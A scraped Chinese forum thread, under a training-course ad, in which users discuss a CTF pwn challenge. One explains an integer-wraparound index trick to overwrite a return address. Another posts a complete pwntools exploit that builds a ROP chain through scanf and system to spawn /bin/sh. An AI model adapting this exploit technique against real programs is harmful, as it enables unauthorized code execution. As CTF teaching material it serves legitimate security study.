[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
jackandkx 有个乘以8
mov [rbp+rax*8+s], rdx返回地址在s+0x68处所以便是要找到rax,使得(rbp+rax*8+s) % 0x10000000000000000==(rbp+s+0x68)这个mod很关键,主要就是利用负数可以“往前走一圈走回来走到后面的返回地址这种感觉”所以rax=0x40000000000000068/8=0x800000000000000d用4是因为这样才能让他为负,所以转换一下就是-9223372036854775795然后其他的就同理了。。。不说了。。。一共10次任意写,完全够用了。。。
mov [rbp+rax*8+s], rdx
(rbp+rax*8+s) % 0x10000000000000000==(rbp+s+0x68)
rax=0x40000000000000068/8=0x800000000000000d
holing `mov [rbp+rax*8+s], rdx` 返回地址在s\+0x68处 所以便是要找到rax,使得 `(rbp+rax*8+s) % 0x10000000000000000==(r ...
jackandkx 这个shell怎么给的是system("id")..
from pwn import * p = process('./pwn1') elf = ELF('pwn1') p.recvuntil('name:\n') p.sendline('cyc') system_addr = elf.symbols['system'] bss_addr = elf.bss() scanf_addr = elf.symbols['__isoc99_scanf'] pop_rdi = 0x400a33 pop_rsi = 0x400a31 #pop rsi;pop r15;ret ret_addr = 6917529027641081843 #0xa00000000000000d de fu shu scanf_formot = 0x400AFC #gdb.attach(p) #1 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr)) p.recvuntil('age:\n') p.sendline('%s' % (pop_rdi)) #2 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-1)) p.recvuntil('age:\n') p.sendline('%s' % (scanf_formot)) #3 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-2)) p.recvuntil('age:\n') p.sendline('%s' % (pop_rsi)) #4 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-3)) p.recvuntil('age:\n') p.sendline('%s' % (bss_addr)) #5 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-4)) p.recvuntil('age:\n') p.sendline('%s' % (0x1)) #6 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-5)) p.recvuntil('age:\n') p.sendline('%s' % (scanf_addr)) #7 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-6)) p.recvuntil('age:\n') p.sendline('%s' % (pop_rdi)) #8 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-7)) p.recvuntil('age:\n') p.sendline('%s' % (bss_addr)) #9 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-8)) p.recvuntil('age:\n') p.sendline('%s' % (system_addr)) #10 p.recvuntil('index:\n') p.sendline('0') p.recvuntil('age:\n') p.sendline('0') p.sendline('/bin/sh') p.interactive()
jackandkx 发个exp让我学习下可好[em_12]